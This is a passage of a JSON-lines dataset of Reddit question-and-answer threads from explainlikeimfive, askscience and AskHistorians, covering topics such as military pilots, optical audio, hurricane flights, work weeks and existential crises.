someone on the other side of the earth there is a 0.066s minimum lag, that is small enough that you did not recognise it.\n\nWhat further improved is computing power, transmission codecs and modulation. Where a computer had to buffer some of your communication to pack it and send it to the next link which introduces a lag, modern systems can do that in \"real-time\".\n\nAlso the internet made many things better. With a lot of capital and demand for oversee communication, many big carriers put fiber cables in the see to connect every part of the world, where in earlier days only satellite communication was usable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1p1mgi", "title": "why is every us air force pilot required to be an officer?", "selftext": "Perhaps a better way to phrase the question is:  What's the reasoning behind the decision that enlistees aren't allowed to be combat pilots?\n\nEDIT:  My point of confusion is that enlistees are trusted to operate tanks, which seem to be quite similar: both tanks and jets are expensive and dangerous.  Why are enlistees trusted with tanks but not jets?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p1mgi/eli5_why_is_every_us_air_force_pilot_required_to/", "answers": {"a_id": ["ccxsous", "ccxt66y", "ccxtxyt", "ccxvui5", "ccxxpsk", "ccy0eri", "ccy19gc", "ccz4xgh"], "score": [5, 16, 3, 9, 2, 2, 2, 2], "text": ["If you're not smart and industrious enough to be an officer, they aren't going to trust you with a very expensive and dangerous aircraft.", "There are 4 people in a tank, and each of them is only doing a part of the job. They can be trained easily. For example most people could be drivers or loaders with little training.\n\nThe pilot flies the plane alone. And flying the plane is fundamentally different that what you do on land. Pilot training takes much much longer, as it is much more complex. Being a pilot must be a career, they cannot afford to train you for 4 years, and then let you pilot a plane for 1 year or so before your enlistment expires.", "Sure, everyone can just guess and give the 'well it's pretty difficult' stock response, or you can have the actual answer:\n\nIt comes from old navy doctrine. You have to be an officer to have command of a ship. It simply derives from there. On larger planes, the pilot always outranks the crew, just like on a boat or ship.", "Hi.  Actual answer here.  All individuals involved in the release of nuclear weapons must be a commissioned officer. Lots of Air Force airplanes used to be capable of deploying nukes.  Source: I was an officer in a technical field (\"Weapons Controller\" AKA scope dope) and the field was all commissioned officers for the same reason.  The controller used to actually be able to fly the aircraft through data link and therefore technically involved in release of nuclear weapons.  Now the career field is mixed officer/enlisted.\n\nBTW in the Army Warrant Officers are pilots.  They are not commissioned officers.  The best thing about being a warrant is that nobody expects you to be a commander some day.", "Mainly for the pilots' protection. It's a holdover from WWI and WWII. Pilots were often behind enemy lines, making them more likely to be shot down and taken prisoner than infantry. Since Germans treated captured officers better than enlisted prisoners all of them were made officers. \n\n[Source](_URL_0_)", "You aren't, it just depends on what you are flying.\n\nSource: I was a 6 year Active duty E-4 that formally piloted a Phoenix UAV. AFSC was a Computer Programmer.", "Officers also have much higher expectations of them. It takes a major screw-up to have a serious impact on an enlisted members career, it takes a incredibly major screw-up to end an enlisted members career. An officers career can be ended by a simple mistake. \nAlong with that, the officer is more liable than any enlisted person thus those decisions and actions they take can have a higher impact (releasing a missile to end someones life) example: predator/reaper drones are piloted by a team made up of an officer pilot and an enlisted sensor operator. The officer will pilot the drone for take off/landing while the enlisted can control in the air. If a weapon is to be deployed, it must be the officer that fires it as they are the liable party if something goes wrong. ", "Another possible reason that I've heard, and I wish I could find a source, is that Flight Officers were treated better by the Nazi POW camps because Hermann Goring had an infatuation with airmen being \"Knights of the Air,\" or somesuch. Thus, all cadets who were part of the Army Air Corps were promoted to Flight Officer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.pbs.org/wnet/berga/beyond/system.html"], [], [], []]}
{"q_id": "cqyzgi", "title": "how does light traveling through an optical cable produce audio?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cqyzgi/eli5_how_does_light_traveling_through_an_optical/", "answers": {"a_id": ["ex0ngc1"], "score": [5], "text": ["You convert your analog audio signal to a digital one made up of 0s and 1s.  That digital signal is then sent down your optical cable.  On the other side, something converts it back to analog so you can run it through an amplifier and into your signals.\n\nWhile reality is more complicated than this, you can visualize digital data being sent down an optical line as flipping a flashlight on and off really quickly to tell you when something is a \"0\" or a \"1\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "m6rod", "title": "/r/circlejerk", "selftext": "There is clearly something I am not getting.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m6rod/eli5_rcirclejerk/", "answers": {"a_id": ["c2yjywc", "c2yl7v2", "c2yl8zz", "c2ym3qo", "c2ymheg", "c2yn238", "c2yo4h3", "c2yovmp", "c2yovq8", "c2ypder", "c2z3vcy", "c2yjywc", "c2yl7v2", "c2yl8zz", "c2ym3qo", "c2ymheg", "c2yn238", "c2yo4h3", "c2yovmp", "c2yovq8", "c2ypder", "c2z3vcy"], "score": [59, 70, 32, 37, 24, 28, 3, 3, 2, 7, 2, 59, 70, 32, 37, 24, 28, 3, 3, 2, 7, 2], "text": ["It's a parody of the rest of Reddit. The stuff they make fun of mostly applies to the largest subreddits, so the jokes might go over your head depending on which subreddits you frequent.", "The section of Reddit that really understands Reddit.  And they make fun of it.\n\nThey're the ones who see the absurdity of meme abuse.  They're the ones tired of Carl Sagan quotes.  They're the ones who don't care about your cat, cancer, or girlfriend.\n\nAbove all, they're the ones who understand the hivemind.", "Wow, thanks guys. I'm learnding!", "Posts in ELI5 asking how /r/circlejerk works, immediately posts in circlejerk after.  Riiiiiiight.   & #3232;\\_ & #3232;", "You see everyone sits in a circle and leans to the left or right and ... you know what? Maybe when you're older. ", "\"TIL: It's about the corporations paying the police to beat up children. AMA.\"\n\n~ Chuck Testa\n\nUpvotes to the left.", "Its like the opposite of jerkle circ.", "Some see it as a group of people that \"get\" reddit, and are sick of all the of meme's. Many others just think they're a group of people that are overly cynical and go to /r/circlejerk to feel superior to others, which is precisely the trait they mock in others.", "Is /r/circlejerk to reddit what /b/ is to 4chan?", "If the internet is the brain of this planet, then reddit is the cerebral cortex.  It is the internet's awareness, memory, attention, thought.  It connects things, and sorts them according to relevance.  /r/circlejerk is what happens when this mechanism notices itself and tries to come to terms with it's own importance in the whole scheme of things.\n\n/r/circlejerk is the internet's feeling of self-conciousness and self-doubt.  ", "SKYRIM! It's 11/11/11! here is my costume! Here is a cat I saved! Christians are idiots! Upvotes guaranteed", "It's a parody of the rest of Reddit. The stuff they make fun of mostly applies to the largest subreddits, so the jokes might go over your head depending on which subreddits you frequent.", "The section of Reddit that really understands Reddit.  And they make fun of it.\n\nThey're the ones who see the absurdity of meme abuse.  They're the ones tired of Carl Sagan quotes.  They're the ones who don't care about your cat, cancer, or girlfriend.\n\nAbove all, they're the ones who understand the hivemind.", "Wow, thanks guys. I'm learnding!", "Posts in ELI5 asking how /r/circlejerk works, immediately posts in circlejerk after.  Riiiiiiight.   & #3232;\\_ & #3232;", "You see everyone sits in a circle and leans to the left or right and ... you know what? Maybe when you're older. ", "\"TIL: It's about the corporations paying the police to beat up children. AMA.\"\n\n~ Chuck Testa\n\nUpvotes to the left.", "Its like the opposite of jerkle circ.", "Some see it as a group of people that \"get\" reddit, and are sick of all the of meme's. Many others just think they're a group of people that are overly cynical and go to /r/circlejerk to feel superior to others, which is precisely the trait they mock in others.", "Is /r/circlejerk to reddit what /b/ is to 4chan?", "If the internet is the brain of this planet, then reddit is the cerebral cortex.  It is the internet's awareness, memory, attention, thought.  It connects things, and sorts them according to relevance.  /r/circlejerk is what happens when this mechanism notices itself and tries to come to terms with it's own importance in the whole scheme of things.\n\n/r/circlejerk is the internet's feeling of self-conciousness and self-doubt.  ", "SKYRIM! It's 11/11/11! here is my costume! Here is a cat I saved! Christians are idiots! Upvotes guaranteed"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9fhon8", "title": "how do hurricane hunters fly aircrafts right through hurricanes without being battered by insane winds, maintaining their path without the aircraft failing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9fhon8/eli5_how_do_hurricane_hunters_fly_aircrafts_right/", "answers": {"a_id": ["e5whpr1", "e5wipwr", "e5wjbol"], "score": [4, 7, 5], "text": ["Because hurricane winds are very predictable (meaning they go in one direction with the exact same speed (or similar) the whole time), so the pilot isn\u2019t battered the way turbulence batters an airplane, which is very unpredictable winds that come from different directions at different speeds. \n\nThink flying a kite. If you know which direction the wind is coming from and how fast, you can figure out which direction to let your kite go, and then it\u2019ll stay there. If the winds are constantly going in different directions at different speeds, flying the kite would be very difficult if not impossible. ", "A Cat 5 hurricane has sustained wind speeds of 157+mph.\n\nHurricane Hunters aircraft can fly at 400+mph. Even the strongest storms are just like flying during a storm, and planes do that all the time.", "a) Start with a very sturdy plane (WC-130J).\n\nb) Fly with the wind, so that you get bumped but the wings don't get ripped off.\n\nc) Wear your darn seatbelt, because to be serious it's a very bumpy thing to do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "n48uo", "title": "How long does the data taken from a satellite near Pluto take to reach earth? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n48uo/how_long_does_the_data_taken_from_a_satellite/", "answers": {"a_id": ["c364hoz", "c364hoz"], "score": [2, 2], "text": ["This wiki article is probably of interest. It is for the [New Horizons](_URL_0_) probe which is on its way to Pluto. \n\nHere is a quote from the article. \n\n > At Pluto's distance, a rate of approximately 1,000 bits per second is expected. The craft had a communication rate of 38 kbit/s at Jupiter.\nThe 70 m Deep Space Network (DSN) dishes will be used to relay data beyond Jupiter.\nBesides the low bandwidth, Pluto's distance also causes a (one way) latency of about 4.5 hours", "This wiki article is probably of interest. It is for the [New Horizons](_URL_0_) probe which is on its way to Pluto. \n\nHere is a quote from the article. \n\n > At Pluto's distance, a rate of approximately 1,000 bits per second is expected. The craft had a communication rate of 38 kbit/s at Jupiter.\nThe 70 m Deep Space Network (DSN) dishes will be used to relay data beyond Jupiter.\nBesides the low bandwidth, Pluto's distance also causes a (one way) latency of about 4.5 hours"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/New_Horizons"], ["http://en.wikipedia.org/wiki/New_Horizons"]]}
{"q_id": "3el6f8", "title": "why do /r/blackpeopletwitter posts get so many up-votes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3el6f8/eli5_why_do_rblackpeopletwitter_posts_get_so_many/", "answers": {"a_id": ["ctfzbf8", "ctfzffn"], "score": [2, 3], "text": ["The same reason Advice Animals get so many upvotes.  People like submissions that they can quickly look at, have a chuckle  &  move on.  Any small, easily digested, submission has a massive boost over longer stuff, like articles that you need to read.", "Because, Monica,  they are an insight into a side of a culture us outsiders wouldn't normally be privy to see."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4ykwmb", "title": "what's the meaning of the phrase \"i've got a bone to pick with you.\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ykwmb/eli5whats_the_meaning_of_the_phrase_ive_got_a/", "answers": {"a_id": ["d6ohbmd", "d6ohwfi"], "score": [3, 7], "text": ["It's similar to \"I am upset with you about something and want to discuss it\".  Depending on the tone of the conversation it might indicate somebody is really really mad at you about something, or just that they have a minor problem they want to talk about, so context is important.", "If you have a bone to pick with someone, it means they've annoyed or insulted you and you need to talk to them about it.\n\nAccording to the Oxford English Dictionary (via a thread in /r/etymology) \"a bone to pick\" originally meant something that occupies or distracts you (as a dog is occupied by picking at a bone) and somehow morphed into its modern meaning."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "66fokr", "title": "as humans, what part of our mind stops us from wanting to harm others? (biology)", "selftext": "Humans aren't innately born wanting to kill one another, but in light of recent events worldwide, is this innate, or is it something that is taught to us at a young age?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66fokr/eli5_as_humans_what_part_of_our_mind_stops_us/", "answers": {"a_id": ["dgiawsc"], "score": [2], "text": ["Taught. Humans have no problem with killing other humans even without being what we call sociopaths/psychopaths. It's only a matter of what morals you were thought as a kid. Just think of how many people still have no problem with death penalty. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "akohx3", "title": "Warfare against nomadic populations", "selftext": "How did sedentary civilizations successfully subdue nomadic invaders? It seems like such cases are few and far between, and often took years(based on what I\u2019ve read, so i may be incorrect to assume this) Did they employ the same tactics to different invaders? \n\nEdit: I forgot to say that I was wondering about the Middle Ages and before.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/akohx3/warfare_against_nomadic_populations/", "answers": {"a_id": ["ef7859p"], "score": [5], "text": ["It's a bit outside the period you are looking at, but you might be interested in this [answer](_URL_0_) I wrote talking about the 19th century Russian conquest of steppe nomads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/90f26u/how_did_russia_permanently_subjugate_the_steppes/"]]}
{"q_id": "498uvz", "title": "if i donate a kidney, then my other one fails, am i prioritized for a new one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/498uvz/eli5_if_i_donate_a_kidney_then_my_other_one_fails/", "answers": {"a_id": ["d0pwna9", "d0pwoij"], "score": [2, 2], "text": ["Yes. [Link](_URL_0_). The last sentence of the first paragraph.", "Yes, and not just for kidneys. You may not be first on every list, but UNOS does give priority to living donors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.kidneyregistry.org/living_donors.php?cookie=1"], []]}
{"q_id": "47r3vm", "title": "What happens if a quark falls into an event horizon?", "selftext": "To clarify the question, if one pulls apart two quarks they form two more as quarks never go solo. (As far as I know, of course) What would happen if, when pulling two quarks apart but before more quarks are formed, one of them fell into the event horizon of a black hole?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47r3vm/what_happens_if_a_quark_falls_into_an_event/", "answers": {"a_id": ["d0fbva7"], "score": [6], "text": ["The black hole would do the pulling like any normal way. The quark outside the black hole will have its pair created, nothing special. As for the one that falls inside the black hole, another forms, but both are destroyed (or whatever actually happens) as it reaches the singularity. The black hole increases in mass/energy.\n\nBut wait, did we see a breaking of conservation of energy in this? We started off with a black hole and a pair of quarks, but we ended up with an identical pair of quarks and a black hole of slightly larger mass. Where did the extra mass/energy of the black hole come from? Someone else know what's not right here?\n\n\nEdit: thanks to /u/dgm42 for realizing that the extra energy comes from holding one of the quarks from being sucked inside the black hole!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5jh2de", "title": "what does the \"mare\" in nightmare mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jh2de/eli5what_does_the_mare_in_nightmare_mean/", "answers": {"a_id": ["dbg3h2n", "dbg3hks", "dbg3l1l"], "score": [7, 3, 2], "text": ["The word \"nightmare\" is derived from the\u00a0Old English\u00a0\"mare\", a mythological\u00a0demon\u00a0or goblin who\u00a0torments\u00a0others with frightening dreams. Subsequently, the prefix \"night-\" was added to stress the dream aspect.\u00a0\n\n[There are easy to find online dictionaries that have this kind of thing in them.](_URL_0_)", "From old english. \n\nA mare (incubus) was a demon who would terrorize people. \n\n[Wiki page](_URL_0_)", "The suffix \"mare\" is derived from \"mer\" which means to rub away or forms mare, maere which mean goblin or incubus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Nightmare#Etymology"], ["https://en.m.wikipedia.org/wiki/Nightmare"], []]}
{"q_id": "3gduia", "title": "what would happen to the us economy if traditional businesses switched from 5-day work weeks to 4-day work weeks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gduia/eli5_what_would_happen_to_the_us_economy_if/", "answers": {"a_id": ["ctxa838", "ctxg9ze", "ctxiyp2", "ctxj3yz", "ctxjego", "ctxjpcq", "ctxt9xg", "ctyzds3"], "score": [10, 6, 3, 3, 4, 2, 3, 2], "text": ["If the total hours were unchanged, I don't know. Maybe tourism would increase do to the longer weekends? ", "I've never had a job where I put in less than 10 hours a day. Shit, it'd be nice to do that for only 4 days, as opposed to 5, 6, and 7.  ", "All the studies I've seen that talk about the benefits, seem to focus on white collar jobs. I haven't seen too much done on blue collar or the service industry. So it's hard to say from a macro view what would occur. ", "A four-day work week would significantly cut energy costs--ramping up power to either heat a building or air condition takes more power. Some companies go to a 4 day work week to cut costs now. It can also be an incentive to attract employees. (The other side of the coin: it may make it harder on parents as day care centers cost more if you don't pick up on time; kids are left longer by themselves in the afternoon as the parents' days are longer, etc.--though if schools went to 4 days also, parents would have more time with their kids in terms of a 3 day weekend.)", "4-10 hour days would give everyone an additional day off. An additional day to spend money  &  boost the economy. People would save money by not having to buy gas to commute 1 additional day. It would be a win-win situation. ", "There would be an initial shock at the drastic change of business practice. Eventually people would get used to it and you would have increased sales in certain industries like hospitality and entertainment.\n\nThat's all. ", "This was actually trialled in Utah. They found that as long as you could guarantee employees a three-day weekend, you get great results. You work either Monday-Thursday or Tuesday-Friday, four ten hour shifts. \n_URL_0_", "My Professor said that if hours remained unchange GDP would go slightly down due to fatigue. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.npr.org/templates/story/story.php?storyId=102938615"], []]}
{"q_id": "2hbqmp", "title": "How can I distinguish good scientists from bad ones?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hbqmp/how_can_i_distinguish_good_scientists_from_bad/", "answers": {"a_id": ["ckrcf2x", "ckrdbcd", "ckrdqqn"], "score": [14, 3, 3], "text": ["One of the things you learn quickly in grad school is not to trust every scientific paper you read.\n\nEven if they are written with the best of intentions, they can often be misleading, politicized, or incompetently conducted. You need to approach every paper with a skeptical eye. You need to understand the methods they used, why they used it, and if they executed them correctly. However, laymen cannot do this, so instead you should rely on the quality of peer-review to judge quality of work.\n\nA scientists reputation is based almost exclusively on their publications. \n\nWhen I read another scientists publication, I first consider the journal it was published in. Does the journal have a history of quality publications? Are the editors reputable? Are the reviewers reputable? There is a very short list of journals that fit this list. Again though, this information may not be clear to laymen.\n\nThe thing is, there are *thousands* of academic journals. Most of them are shit, some of them are downright unethical. \"Peer review\" is a rubberstamp, and often their namesakes are worded to copy more reputable journals. These are called predatory journals and are the scientific equivalent of diploma mills. \n\nSo how do you determine what is reputable without years of experience? [Take a look at the google scholar rankings based on H5-index](_URL_0_). If a journal has an h5-index lower than 30, it is backwater. If its h5 is lower than 10, it is shit.\n\nSo if you want to determine if a scientist is reputable or not, look at their publication history. If they publish only inflammatory work in backwater low impact \"journals\", they are probably not reputable. If they don't publish at all, then they *definitely* aren't reputable. \n\nFor example, I think it would be difficult to find a biologist who supports creationism and also publishes in high impact journals. Often these groups create their own \"scientific journals\" that attempt to emulate reputable journals but without the scientific rigor. For example, [The Journal of Creation](_URL_1_) and [Answers Research Journal](_URL_2_) are both sham publications intended to fool people into thinking they are \"peer reviewed\". Again, referencing the h5-index we find that neither are even catalouged as scientific journals. ", "One thing to always keep in mind is that 'scientists' are a *very* diverse group. And they don't know everything about everything, as much as they would sometimes like you to believe they do. 'Science' is absolutely huge now. A couple hundred years ago it was maybe possible to be an expert in many or all fields of science. But with ~5 scientific paper per day being published about exoplanets, I barely have time to keep up with my own field, let alone what may be happening on the cutting edge of cosmology or galactic astronomy. And chemistry or biomed research? Ha.\n\nFor example, as an astronomer I \"believe\" in evolution. But just because I may be a scientist or have a PhD doesn't mean I know what I'm talking about when it comes to evolution. I've never fully read and picked apart a scientific publication about evolution; I don't know any more about how genetics work than that one elective I took as an undergrad senior spring because I thought it would be fun. I am therefore not at all qualified to be included in a poll asking what scientists believe about evolution or whether it is a 'fact' or not.\n\nSo when these surveys come out telling you what XX% of scientists think, make sure it's all scientists IN THE FIELD that actually studies this for a living. Finally, if it comes down to figuring out if one particular scientist is worth listening to, then what /u/searine said about which journals they publish in and how often and all that is the best way to go about it.\n\n", "Aside from the things everyone else has mentioned, if you want to evaluate a specific paper, you can check how many times it was cited in other papers if it's old enough. Often, the more cited a paper is, the more highly it is held in regard in its field."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://scholar.google.com/citations?view_op=top_venues", "http://creation.com/professional-peer-reviewed-scientific-journal", "https://answersingenesis.org/answers/research-journal/"], [], []]}
{"q_id": "5xepq4", "title": "what causes an existential crisis to trigger in our brain?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xepq4/eli5_what_causes_an_existential_crisis_to_trigger/", "answers": {"a_id": ["dehktsm", "dehlopc", "dehlvg6", "dehlzpi", "dehm09f", "dehmac2", "dehmc5u", "dehmf75", "dehmj7e", "dehmr6k", "dehmtvm", "dehnh9p", "dehnon6", "dehnpxb", "dehojra", "dehom3m", "dehp11g", "dehp1dz", "dehp6xd", "dehpcsr", "dehq72d", "dehr923", "dehrd77", "dehribl", "dehrom0", "dehroyn", "dehs0iv", "dehsaos", "dehsi70", "deht2nn", "deht8ch", "dehtosv", "dehttrc", "dehtvue", "dehtyo0", "dehuga1", "dehuk0k", "dehungr", "dehv1t2", "dehv2k3", "dehvnqi", "dehvwta", "dehwlmi", "dehwnay", "dehxf32", "dehyk6p", "dehz1nn", "dehzygg", "dei0wf4", "dei1519", "dei1dd8", "dei26ro", "dei41h8", "dei4p9r", "dei7kpi"], "score": [74, 48, 7, 260, 16, 89, 22, 174, 617, 7288, 5, 6, 15, 376, 2, 92, 6, 407, 33, 13, 363, 9, 31, 8, 2, 3, 3, 28, 2, 3, 9, 6, 103, 2, 2, 3, 2, 54, 7, 4, 4, 2, 2, 4, 2, 3, 47, 5, 2, 6, 88, 57, 2, 2, 2], "text": ["Slightly related question: Is it possible to simulate that trigger at will without any crisis actually happening?", "\nI always like to think that it's our brain becoming even *more* self aware, and ending up kind of frying itself. \n\nLike when you overbear a comupter, eventually it'll give up and shut down, right?\n\nI'm not sure. But maybe we should ask ourselves our likelyhood of existing. What are the chances that the earth had the perfect abount of atmosphere and the perfect amount of water to support life. Are we alone? The TRAPPIST system might have life. What if we're just test rats for a prototype planet?", "I certainly do not know.i wish I could provide a good answer. And hopefully someone will, but given no one had tried to answer your question, I will say it can be caused by depression. Thoughts piling up begining from a single bad point. It probably is physically a suppression of some neurotransmitter or brain chemical which makes you prone to feel a certain way. Since the brain is complex these interactions happen over many parts and you perceive consciousness. The existential aspect, rather than a mood, probably stems from a conflict from an instinctual need for self preservation, and consciousness understanding of inevitable death.this balance might be similar to the uncanny. Where it makes us uncomfortable to consider. I am not a neurologist though :(", "Here's what happened to me: I realized I was \"successful\" in the usual sense (good student, solid career path, etc.), but that none of it made me feel \"happiness\" or a sense of \"purpose.\" There was no \"reason\" to \"bear\" \"living.\"\n\nThe way out for me was to choose my own definitions for the quoted terms and say *fuck off* to anything that challenged my right to choose.", "The realization of death, and the questioning of our purpose and actions in life, which gets ever shorter.", "I got my existential crisis when I realized I didn't want to live my life in pursuit of money and that being a lawyer would make me extremely unhappy. I freaked out and had to come to terms with the fact that the only thing that I had drawn purpose from was totally meaningless. So I decided to make a change and I decided to study philosophy, now I teach autistic kids and I love it and I feel like I'm doing something good. \n\nI guess ultimately it's realizing that the things we make important are pointless, if you doing so for the wrong reason. The only way out it to define what you think the good life is, and live that. Even then it doesn't really matter, but you can be happy nonetheless. ", "Realizing that you will die.  This is my favorite subject.  The whole point of living is that you will not be here at some point, so live your life exploring passions. ", "In all honesty its the moment our brains realize that, despite all the fairy tales we have been spoon fed our entire lives, one day we will end. And your brain will continue to fall back to that in moments of stress or idleness or making waffles until it comes to terms with it. Some people embrace the fairy tale. Some people can bear the (horrifying) weight of reality. How long that takes varies from person to person, species to species. It took me two years of periodic freakouts. \n\nNow I take solace in the fact that I will live on (well half my DNA anyways) in any children I have and that even though my brain will stop one day I will never truly die. The carbon in my body will go on to become carbon in many something else's body. If you live close enough to me some of my water might be swimming through you right now *wink*. The light that reflects from my face and passes beyond earth (and doesn't hit anything too big) will journey on till the universe grows dim and extinguishes. Everything dies. =) \n\nAnd no matter how much you dwell on it, nothing will change that. So go make the most of the one life you have (once the existential crisis is over).", "Basically it's like claustrophobia for your mind. Your brain realizes you don't have as long as you thought you did to exist while at the same time trying to find a purpose before that time ends. Since purpose is something you have to cultivate, rash attempts to find one lead to a seemingly impossible task and even less time. Like the world is closing in around you. The best thing to do is just take a step back and see everything you like about this world and progress in a healthy, comfortable pace.", "Your brain is essentially a future simulation machine.\n\nThe brain can be split into 3 main chunks (I'm simplifying): the hindbrain, responsible for many instincts; the midbrain, responsible for many emotions and sensory integration; and the forebrain, newest and best at future planning. \n\nThe forebrain takes longest to develop. It tends to be in teenage development that people have their first epiphanies about existence and their place in the universe. This hits emotional triggers very hard, and is written into your memory as an important experience, to make sure you remember it. Why? The theory is a sense of purpose and value of your life has survival value. You're more likely to live with a strong ability to predict the future, and \"purpose\" is very much tied to future planning.\n\nCrises can happen when you lose that feeling of euphoria tied to future planning. And since it was tagged in your brain as super important, you feel a sense of loss that is very strong.\n\n\nEdit: credit to u/starfirex for pointing out that I describe brain structure using an outdated model. All 3 \"chunks\" have been evolving this whole time. I meant to use it only as a frame of reference for the forebrain and its function.\n\nEdit 2: There's gold in them thar hills! I will celebrate with an awesome definition to share. \n[Connectome](_URL_1_): a comprehensive map of all connections in the brain. It hasn't been done in humans yet, but is as important for us to learn as the human genome. I hope to see it all mapped out some day.\n\nEdit 3: a good chunk of this is indeed speculative. This is way beyond what researchers can test. \n\n\n\nAttempt at a reasonable explanation: [The forebrain](_URL_4_), as well as mid and hindbrain, are structures which develop differently along the neural tube. A tube becomes your brain and spinal cord.\n\nPerhaps some better read folks out there can help me with a definition of epiphany. My Principles of Neuroscience class defined most new thoughts as \"connecting two previously separated concepts in a novel way\". I assumed the definition of an existential epiphany to be something like connecting pathways responsible for \"self\" with \"purpose\" or \"the rest of the world\". \n\nOne of my profs said it in a way that I am retelling: your brain is searching to connect two or more concepts. Under MRI, it appears to be mild activity in many structures. When a connection with meaning is found, there is a sudden burst of activity. A sudden burst can lead to [long term potentiation](_URL_2_), a fancy way of saying the memory is likely to be stored in long term memory.\n\nIf this long term potentiation is paired with emotion (likely through the [amygdalae](_URL_0_)), it does two things: further consolidates the memory, and adds emotional content whenever the memories are recalled.\n\nThe thought process can also be tied to a rush of [endorphins](_URL_3_), which is essentially feel-good juice that your pituitary releases. The \"loss\" I refer to could be a number of new things that you have experience since you had the original epiphany. Reality sets in? You lose confidence? Have you become accustomed to the mindset without new stimulus? Then you may no longer trigger the entire pathway, and lose the paired endorphin rush.\n\nMy background is a BSc in Neuroscience. Good scientists will see that I didn't include enough primary lit. I am an amateur attempting to explain the unexplained, but I think my logic and theory is sound.", "When you finally start to see through the mirage and you realize things aren't as concrete as you thought they were, life might not be this practical, logical thing that we thought it was. Once you see through the shallow part of life it's impossible to go back to the old way of thinking and this can cause a kind of existential crisis...I know that sounds kind of \"wooo wooo\", but it's true. Meditation is what *really* opened up my eyes and way of thinking", "I've been thinking lately... When I die what will live on about me?  I see a few possibilities.  \n\nIf it's nothing, am I OK with that?\n\nIf it's memories, I hope they are good ones.  But likely those will die after a generation.\n\nCan I leave a legacy of some kind?  Think about Stan Lee or George RR.  They might live on forever.  But, Is that even possible for me?  Can I create something that outlives me?  And if so do I want to spend great effort doing that or should I just drink a beer after work everyday and enjoy my time.\n\nI think about this is in the shower, sometimes on my commute, and nowhere else.  I think if I start thinking about it a lot more then it becomes an existential crisis. ", "An existential crisis occurs when a person is consumed by the uniqueness of their experience while simultaneously being destroyed by the utter lack of contrast between themselves and others and yet not having a clue as to what they want that is attainable and having full awareness of all that they want which is not attainable. It also must have something to do with the fact that we don't want to be in anyone else's shoes but we would like to perform in ways and experience things that others do. It's like freaking out about stuff like that. It's not really  about existence as much as it is about the nature of our being so unique and insignificant  while being so similar to every other person and mattering much more than we can attest to for ourselves. It's about realizations that put us into distress and overthinking things. ", "Is there a sub that is a support group or just a place to talk and share thoughts about this type of thing? I find myself having existential meltdowns (but in a good way sometimes) and no one in my immediate life to *really* talk about it with.  \n\nI don't see how we are not in a permanent state of this realization when you really consider everything together that you are capable of understanding.", "Honestly, I think questions like these are like asking \"What quantum events trigger an economic recession?\" I don't think there's an intelligible answer that would be informative. There's just too much happening between the different levels, and too many different ways for the small things to cause the big thing.", "Human brains are advanced enough to be motivated by abstract ideals or meaning. \n\nHuman brains are also, unforunately, advanced enough to realize that life has no particular meaning on its own. \n\nThe tension between these two things creates crises. ", "Existential crises are often triggered by major life events, especially ones related to mortality. The Holmes and Rahe Stress Scale lists some of the most stressful life events; the more stressful an event is the more likely it is to have a negative impact on the mind, and the more likely something like an existential crisis will occur. Existential crises are also often caused by/related to mental disorders like depression ", "speaking from personal experience, it's usually only when it's late at night and my gaming distractions have subsided, but rather be left alone with myself to reflect for the evening, i drag on the distractions via reddit and read a post asking what triggers an existential crisis.  that's when i wonder, \"what do they mean exactly?  what kind of existential crisis are they referring to?  the kind where you're wondering if you're serving an appropriate societal role for your age group and class stature?  or do they mean like, whether the narrative we create for our selves, our lives, and our goals is sufficient?  or perhaps they mean the type of existential crisis where you think about how you're comprised of an uncountable amount of separately living cells and coated in so much bacteria that you've formed a symbiotic relationship with them, and that there's actually more of That stuff than there is of \"you...\"  in the way perhaps \"New York\" is an entity we cannot communicate with because we only operate on the level of it's parts, rather than it's sum.  ...perhaps cities have voices.  nations.  perhaps the planet Does have a consciousness as it hurtles through the void, complete with 